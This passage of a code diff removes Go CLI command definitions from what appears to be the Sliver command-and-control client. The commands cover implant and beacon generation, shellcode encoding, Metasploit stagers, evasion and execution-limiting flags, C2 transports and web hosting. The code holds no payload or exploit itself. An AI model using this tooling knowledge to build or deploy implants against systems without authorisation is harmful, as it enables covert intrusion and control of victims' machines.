user connections/disconnections (can be very verbose when they use CLI)", - Run: func(cmd *cobra.Command, args []string) { - settings.SettingsUserConnect(cmd, con, args) - }, - }) - settingsCmd.AddCommand(&cobra.Command{ - Use: "console-logs", - Short: "Log console output (toggle)", - Long: help.GetHelpFor([]string{consts.SettingsStr, "console-logs"}), - Run: func(ctx *cobra.Command, args []string) { - settings.SettingsConsoleLogs(ctx, con) - }, - }) - server.AddCommand(settingsCmd) - - // [ Info ] -------------------------------------------------------------- - - infoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Get info about session", - Long: help.GetHelpFor([]string{consts.InfoStr}), - Run: func(cmd *cobra.Command, args []string) { - info.InfoCmd(cmd, con, args) - }, - GroupID: consts.SliverHelpGroup, - } - Flags("use", false, infoCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - server.AddCommand(infoCmd) - - // [ Shellcode Encoders ] -------------------------------------------------------------- - - shikataGaNaiCmd := &cobra.Command{ - Use: consts.ShikataGaNai, - Short: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない", - Long: help.GetHelpFor([]string{consts.ShikataGaNai}), - Run: func(cmd *cobra.Command, args []string) { - sgn.ShikataGaNaiCmd(cmd, con, args) - }, - Args: cobra.ExactArgs(1), - GroupID: consts.PayloadsHelpGroup, - } - server.AddCommand(shikataGaNaiCmd) - Flags("shikata ga nai", false, shikataGaNaiCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save output to local file") - f.StringP("arch", "a", "amd64", "architecture of shellcode") - f.IntP("iterations", "i", 1, "number of iterations") - f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - FlagComps(shikataGaNaiCmd, func(comp *carapace.ActionMap) { - (*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode") - }) - carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file")) - - // [ Generate ] -------------------------------------------------------------- - - generateCmd := &cobra.Command{ - Use: consts.GenerateStr, - Short: "Generate an implant binary", - Long: help.GetHelpFor([]string{consts.GenerateStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("generate", true, generateCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("session", false, generateCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("name", "N", "", "agent name") - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.StringP("template", "I", "sliver", "implant code template") - f.BoolP("external-builder", "E", false, "use an external builder") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("save", "s", "", "directory/file to the binary to") - }) - FlagComps(generateCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - server.AddCommand(generateCmd) - - generateBeaconCmd := &cobra.Command{ - Use: consts.BeaconStr, - Short: "Generate a beacon binary", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.BeaconStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateBeaconCmd(cmd, con, args) - }, - } - Flags("beacon", false, generateBeaconCmd, func(f *pflag.FlagSet) { - f.Int64P("days", "D", 0, "beacon interval days") - f.Int64P("hours", "H", 0, "beacon interval hours") - f.Int64P("minutes", "M", 0, "beacon interval minutes") - f.Int64P("seconds", "S", 60, "beacon interval seconds") - f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") - - // Generate flags - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("name", "N", "", "agent name") - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.StringP("template", "I", "sliver", "implant code template") - f.BoolP("external-builder", "E", false, "use an external builder") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - f.StringP("save", "s", "", "directory/file to the binary to") - }) - FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - generateCmd.AddCommand(generateBeaconCmd) - - generateStagerCmd := &cobra.Command{ - Use: consts.MsfStagerStr, - Short: "Generate a stager using Metasploit (requires local Metasploit installation)", - Long: help.GetHelpFor([]string{consts.MsfStagerStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateStagerCmd(cmd, con, args) - }, - } - Flags("stager", false, generateStagerCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - f.StringP("lhost", "L", "", "Listening host") - f.Uint32P("lport", "l", 8443, "Listening port") - f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)") - f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)") - f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode") - f.StringP("save", "s", "", "directory to save the generated stager to") - f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") - }) - generateCmd.AddCommand(generateStagerCmd) - - generateInfoCmd := &cobra.Command{ - Use: consts.CompilerInfoStr, - Short: "Get information about the server's compiler", - Long: help.GetHelpFor([]string{consts.CompilerInfoStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.GenerateInfoCmd(cmd, con, args) - }, - } - generateCmd.AddCommand(generateInfoCmd) - - // Traffic Encoder SubCommands - trafficEncodersCmd := &cobra.Command{ - Use: consts.TrafficEncodersStr, - Short: "Manage implant traffic encoders", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersCmd(cmd, con, args) - }, - } - generateCmd.AddCommand(trafficEncodersCmd) - - trafficEncodersAddCmd := &cobra.Command{ - Use: consts.AddStr, - Short: "Add a new traffic encoder to the server from the local file system", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.AddStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersAddCmd(cmd, con, args) - }, - } - Flags("", false, trafficEncodersAddCmd, func(f *pflag.FlagSet) { - f.BoolP("skip-tests", "s", false, "skip testing the traffic encoder (not recommended)") - }) - carapace.Gen(trafficEncodersAddCmd).PositionalCompletion(carapace.ActionFiles("wasm").Tag("wasm files").Usage("local file path (expects .wasm)")) - trafficEncodersCmd.AddCommand(trafficEncodersAddCmd) - - trafficEncodersRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a traffic encoder from the server", - Long: help.GetHelpFor([]string{consts.GenerateStr, consts.TrafficEncodersStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.TrafficEncodersRemoveCmd(cmd, con, args) - }, - } - carapace.Gen(trafficEncodersRmCmd).PositionalCompletion(generate.TrafficEncodersCompleter(con).Usage("traffic encoder to remove")) - trafficEncodersCmd.AddCommand(trafficEncodersRmCmd) - - // [ Regenerate ] -------------------------------------------------------------- - - regenerateCmd := &cobra.Command{ - Use: consts.RegenerateStr, - Short: "Regenerate an implant", - Long: help.GetHelpFor([]string{consts.RegenerateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.RegenerateCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("regenerate", false, regenerateCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "directory/file to the binary to") - }) - FlagComps(regenerateCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(regenerateCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con)) - server.AddCommand(regenerateCmd) - - // [ Profiles ] -------------------------------------------------------------- - - profilesCmd := &cobra.Command{ - Use: consts.ProfilesStr, - Short: "List existing profiles", - Long: help.GetHelpFor([]string{consts.ProfilesStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("profiles", true, profilesCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - server.AddCommand(profilesCmd) - - profilesGenerateCmd := &cobra.Command{ - Use: consts.GenerateStr, - Short: "Generate implant from a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesGenerateCmd(cmd, con, args) - }, - } - Flags("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "directory/file to the binary to") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - }) - FlagComps(profilesGenerateCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(profilesGenerateCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesGenerateCmd) - - profilesNewCmd := &cobra.Command{ - Use: consts.NewStr, - Short: "Create a new implant profile (interactive session)", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesNewCmd(cmd, con, args) - }, - } - Flags("session", false, profilesNewCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("name", "N", "", "agent name") - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("template", "I", "sliver", "implant code template") - - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - }) - FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)")) - profilesCmd.AddCommand(profilesNewCmd) - - // New Beacon Profile Command - profilesNewBeaconCmd := &cobra.Command{ - Use: consts.BeaconStr, - Short: "Create a new implant profile (beacon)", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesNewBeaconCmd(cmd, con, args) - }, - } - Flags("beacon", false, profilesNewBeaconCmd, func(f *pflag.FlagSet) { - f.Int64P("days", "D", 0, "beacon interval days") - f.Int64P("hours", "H", 0, "beacon interval hours") - f.Int64P("minutes", "M", 0, "beacon interval minutes") - f.Int64P("seconds", "S", 60, "beacon interval seconds") - f.Int64P("jitter", "J", 30, "beacon interval jitter in seconds") - f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder") - - // Generate flags - f.StringP("os", "o", "windows", "operating system") - f.StringP("arch", "a", "amd64", "cpu architecture") - - f.BoolP("debug", "d", false, "enable debug features") - f.StringP("debug-file", "O", "", "path to debug output") - f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)") - f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation") - - f.StringP("canary", "c", "", "canary domain(s)") - - f.StringP("name", "N", "", "agent name") - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "named-pipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcp-pivot connection strings") - f.StringP("strategy", "Z", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)") - - f.Uint32P("key-exchange", "X", generate.DefaultWGKeyExPort, "wg key-exchange port") - f.Uint32P("tcp-comms", "T", generate.DefaultWGNPort, "wg c2 comms port") - - f.BoolP("run-at-load", "R", false, "run the implant entrypoint from DllMain/Constructor (shared library only)") - f.BoolP("netgo", "q", false, "force the use of netgo") - f.StringP("traffic-encoders", "A", "", "comma separated list of traffic encoders to enable") - - f.StringP("template", "I", "sliver", "implant code template") - - f.Int64P("reconnect", "j", generate.DefaultReconnect, "attempt to reconnect every n second(s)") - f.Int64P("poll-timeout", "P", generate.DefaultPollTimeout, "long poll request timeout") - f.Uint32P("max-errors", "k", generate.DefaultMaxErrors, "max number of connection errors") - - f.StringP("limit-datetime", "w", "", "limit execution to before datetime") - f.BoolP("limit-domainjoined", "x", false, "limit execution to domain joined machines") - f.StringP("limit-username", "y", "", "limit execution to specified username") - f.StringP("limit-hostname", "z", "", "limit execution to specified hostname") - f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem") - f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale") - - f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)") - }) - FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["debug-file"] = carapace.ActionFiles() - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") - (*comp)["format"] = generate.FormatCompleter() - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") - }) - carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)")) - profilesNewCmd.AddCommand(profilesNewBeaconCmd) - - profilesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a profile", - Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ProfilesRmCmd(cmd, con, args) - }, - } - carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con)) - profilesCmd.AddCommand(profilesRmCmd) - - implantBuildsCmd := &cobra.Command{ - Use: consts.ImplantBuildsStr, - Short: "List implant builds", - Long: help.GetHelpFor([]string{consts.ImplantBuildsStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.ImplantsCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("implants", true, implantBuildsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("implants", false, implantBuildsCmd, func(f *pflag.FlagSet) { - f.StringP("os", "o", "", "filter builds by operating system") - f.StringP("arch", "a", "", "filter builds by cpu architecture") - f.StringP("format", "f", "", "filter builds by artifact format") - f.BoolP("only-sessions", "s", false, "filter interactive sessions") - f.BoolP("only-beacons", "b", false, "filter beacons") - f.BoolP("no-debug", "d", false, "filter builds by debug flag") - }) - FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) { - (*comp)["os"] = generate.OSCompleter(con) - (*comp)["arch"] = generate.ArchCompleter(con) - (*comp)["format"] = generate.FormatCompleter() - }) - server.AddCommand(implantBuildsCmd) - - implantsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove implant build", - Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.RmStr}), - Args: cobra.ExactArgs(1), - Run: func(cmd *cobra.Command, args []string) { - generate.ImplantsRmCmd(cmd, con, args) - }, - } - carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con)) - implantBuildsCmd.AddCommand(implantsRmCmd) - - canariesCmd := &cobra.Command{ - Use: consts.CanariesStr, - Short: "List previously generated canaries", - Long: help.GetHelpFor([]string{consts.CanariesStr}), - Run: func(cmd *cobra.Command, args []string) { - generate.CanariesCmd(cmd, con, args) - }, - GroupID: consts.PayloadsHelpGroup, - } - Flags("canaries", false, canariesCmd, func(f *pflag.FlagSet) { - f.BoolP("burned", "b", false, "show only triggered/burned canaries") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Websites ] --------------------------------------------- - - websitesCmd := &cobra.Command{ - Use: consts.WebsitesStr, - Short: "Host static content (used with HTTP C2)", - Long: help.GetHelpFor([]string{consts.WebsitesStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - server.AddCommand(websitesCmd) - Flags("websites", true, websitesCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(websitesCmd).PositionalCompletion(websites.WebsiteNameCompleter(con)) - - websitesRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove an entire website and all of its contents", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsiteRmCmd(cmd, con, args) - }, - } - carapace.Gen(websitesRmCmd).PositionalCompletion(websites.WebsiteNameCompleter(con)) - websitesCmd.AddCommand(websitesRmCmd) - - websitesRmWebContentCmd := &cobra.Command{ - Use: consts.RmWebContentStr, - Short: "Remove specific content from a website", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesRmContent(cmd, con, args) - }, - } - Flags("websites", false, websitesRmWebContentCmd, func(f *pflag.FlagSet) { - f.BoolP("recursive", "r", false, "recursively add/rm content") - f.StringP("website", "w", "", "website name") - f.StringP("web-path", "p", "", "http path to host file at") - }) - websitesCmd.AddCommand(websitesRmWebContentCmd) - FlagComps(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - - websitesContentCmd := &cobra.Command{ - Use: consts.AddWebContentStr, - Short: "Add content to a website", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmWebContentStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesAddContentCmd(cmd, con, args) - }, - } - Flags("websites", false, websitesContentCmd, func(f *pflag.FlagSet) { - f.StringP("website", "w", "", "website name") - f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") - f.StringP("web-path", "p", "/", "http path to host file at") - f.StringP("content", "c", "", "local file path/dir (must use --recursive for dir)") - f.BoolP("recursive", "r", false, "recursively add/rm content") - }) - FlagComps(websitesContentCmd, func(comp *carapace.ActionMap) { - (*comp)["content"] = carapace.ActionFiles().Tag("content directory/files") - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - websitesCmd.AddCommand(websitesContentCmd) - - websitesContentTypeCmd := &cobra.Command{ - Use: consts.WebContentTypeStr, - Short: "Update a path's content-type", - Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.WebContentTypeStr}), - Run: func(cmd *cobra.Command, args []string) { - websites.WebsitesUpdateContentCmd(cmd, con, args) - }, - } - Flags("websites", false, websitesContentTypeCmd, func(f *pflag.FlagSet) { - f.StringP("website", "w", "", "website name") - f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") - f.StringP("web-path", "p", "/", "http path to host file at") - }) - websitesCmd.AddCommand(websitesContentTypeCmd) - FlagComps(websitesContentTypeCmd, func(comp *carapace.ActionMap) { - (*comp)["website"] = websites.WebsiteNameCompleter(con) - }) - - // [ Beacons ] --------------------------------------------- - - beaconsCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Manage beacons", - Long: help.GetHelpFor([]string{consts.BeaconsStr}), - GroupID: consts.SliverHelpGroup, - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsCmd(cmd, con, args) - }, - } - Flags("beacons", true, beaconsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("beacons", false, beaconsCmd, func(f *pflag.FlagSet) { - f.StringP("kill", "k", "", "kill the designated beacon") - f.BoolP("kill-all", "K", false, "kill all beacons") - f.BoolP("force", "F", false, "force killing the beacon") - - f.StringP("filter", "f", "", "filter beacons by substring") - f.StringP("filter-re", "e", "", "filter beacons by regular expression") - }) - FlagComps(beaconsCmd, func(comp *carapace.ActionMap) { - (*comp)["kill"] = use.BeaconIDCompleter(con) - }) - beaconsRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove a beacon", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.RmStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsRmCmd(cmd, con, args) - }, - } - carapace.Gen(beaconsRmCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - beaconsCmd.AddCommand(beaconsRmCmd) - - beaconsWatchCmd := &cobra.Command{ - Use: consts.WatchStr, - Short: "Watch your beacons", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.WatchStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsWatchCmd(cmd, con, args) - }, - } - beaconsCmd.AddCommand(beaconsWatchCmd) - - beaconsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Prune stale beacons automatically", - Long: help.GetHelpFor([]string{consts.BeaconsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - beacons.BeaconsPruneCmd(cmd, con, args) - }, - } - Flags("beacons", false, beaconsPruneCmd, func(f *pflag.FlagSet) { - f.StringP("duration", "d", "1h", "duration to prune beacons that have missed their last checkin") - }) - beaconsCmd.AddCommand(beaconsPruneCmd) - server.AddCommand(beaconsCmd) - - // [ Licenses ] --------------------------------------------- - - server.AddCommand(&cobra.Command{ - Use: consts.LicensesStr, - Short: "Open source licenses", - Long: help.GetHelpFor([]string{consts.LicensesStr}), - Run: func(cmd *cobra.Command, args []string) { - con.Println(licenses.All) - }, - GroupID: consts.GenericHelpGroup, - }) - - // [ WireGuard ] -------------------------------------------------------------- - - wgConfigCmd := &cobra.Command{ - Use: consts.WgConfigStr, - Short: "Generate a new WireGuard client config", - Long: help.GetHelpFor([]string{consts.WgConfigStr}), - Run: func(cmd *cobra.Command, args []string) { - wireguard.WGConfigCmd(cmd, con, args) - }, - GroupID: consts.NetworkHelpGroup, - } - server.AddCommand(wgConfigCmd) - - Flags("wg-config", true, wgConfigCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("wg-config", false, wgConfigCmd, func(f *pflag.FlagSet) { - f.StringP("save", "s", "", "save configuration to file (.conf)") - }) - FlagComps(wgConfigCmd, func(comp *carapace.ActionMap) { - (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save config") - }) - - // [ Monitor ] -------------------------------------------------------------- - - monitorCmd := &cobra.Command{ - Use: consts.MonitorStr, - Short: "Monitor threat intel platforms for Sliver implants", - GroupID: consts.SliverHelpGroup, - } - monitorCmd.AddCommand(&cobra.Command{ - Use: "start", - Short: "Start the monitoring loops", - Run: func(cmd *cobra.Command, args []string) { - monitor.MonitorStartCmd(cmd, con, args) - }, 